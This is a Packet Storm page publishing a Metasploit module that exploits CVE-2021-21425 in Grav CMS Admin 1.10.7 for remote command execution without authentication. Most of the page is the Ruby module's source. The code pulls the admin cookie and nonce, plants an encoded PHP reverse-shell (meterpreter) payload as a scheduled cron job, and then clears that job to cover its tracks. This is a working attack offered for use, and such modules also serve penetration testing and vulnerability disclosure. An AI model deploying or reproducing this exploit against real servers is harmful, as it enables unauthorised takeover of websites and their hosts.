exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

GravCMS 1.10.7 Remote Command Execution

GravCMS 1.10.7 Remote Command Execution
Posted May 4, 2021
Authored by Mehmet Ince | Site metasploit.com

This Metasploit module exploits an arbitrary config write/update vulnerability to achieve remote code execution. Unauthenticated users can execute a terminal command under the context of the web server user. Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages. In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of the administrator controller without needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes, such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability, an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system commands under the context of the web-server user.

tags | exploit, remote, web, arbitrary, code execution
advisories | CVE-2021-21425
SHA-256 | 98b7fd4e5a9eac0e57bc304d77db3533d90d58846a9eac785a65d9954b59c324

GravCMS 1.10.7 Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GravCMS Remote Command Execution',
'Description' => %q{
This module exploits arbitrary config write/update vulnerability to achieve remote code execution.
Unauthenticated users can execute a terminal command under the context of the web server user.

Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages.
In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without
needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of
existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes,
such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability,
an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command
under the context of the web-server user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['CVE', '2021-21425'],
['URL', 'https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/']
],
'Privileged' => true,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'DefaultOptions' =>
{
'payload' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64',
'WfsDelay' => 90
},
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2021-03-29',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
CONFIG_CHANGES # user/config/scheduler.yaml
]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The base path', '/'])
])
end

def check
# During the fix, developers changed admin-nonce to login-nonce.

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin')
)

if res && res.get_hidden_inputs.first&.fetch('admin-nonce')
CheckCode::Appears
else
CheckCode::Safe
end
end

def capture_cookie_token
print_status 'Sending request to the admin path to generate cookie and token'
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin')
)

# Cookie must contain grav-site-az09-admin and admin-nonce form field must contain value
if res && res.get_cookies =~ /grav-site-[a-z0-9]+-admin=(\S*);/ && res.get_hidden_inputs.first&.fetch('admin-nonce')
print_good 'Cookie and CSRF token successfully extracted !'
else
fail_with Failure::UnexpectedReply, 'The server sent a response, but cookie and token was not found.'
end

@cookie = res.get_cookies
@admin_nonce = res.get_hidden_inputs.first['admin-nonce']

end

def exploit

capture_cookie_token

@task_name = Rex::Text.rand_text_alpha_lower(5)

# Msf PHP payload does not contain quotes for many good reasons. But a single quote will surround PHP binary's
# parameter due to the command execution library of the GravCMS. For that reason, surrounding base64 part of the
# payload with a double quote is necessary to command executed successfully.

payload.encoded.sub! 'base64_decode(', 'base64_decode("'
payload.encoded.sub! '));', '"));'

print_status 'Implanting payload via scheduler feature'

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),
'cookie' => @cookie,
'vars_post' => {
'admin-nonce' => @admin_nonce,
'task' => 'SaveDefault',
"data[custom_jobs][#{@task_name}][command]" => '/usr/bin/php',
"data[custom_jobs][#{@task_name}][args]" => "-r #{payload.encoded}",
"data[custom_jobs][#{@task_name}][at]" => '* * * * *',
"data[custom_jobs][#{@task_name}][output]" => '',
"data[status][#{@task_name}]" => 'enabled',
"data[custom_jobs][#{@task_name}][output_mode]" => 'append'
}
)

if res && res.code == 200 && res.body.include?('Successfully saved')
print_good "Scheduler successfully created ! Wait up to #{wfs_delay} seconds"
end

end

def on_new_session(_session)
print_status 'Cleaning up the the scheduler...'

# Thanks to the YAML update method, we can remove the command details from the config file just by re-enabling
# the scheduler without any parameter:) It will leave the only command name in the config file.

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),
'cookie' => @cookie,
'vars_post' => {
'admin-nonce' => @admin_nonce,
'task' => 'SaveDefault',
"data[status][#{@task_name}]" => 'enabled'
}
)

if res && res.code == 200 && res.body.include?('Successfully saved')
print_good 'The scheduler config successfully cleaned up!'
end

end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close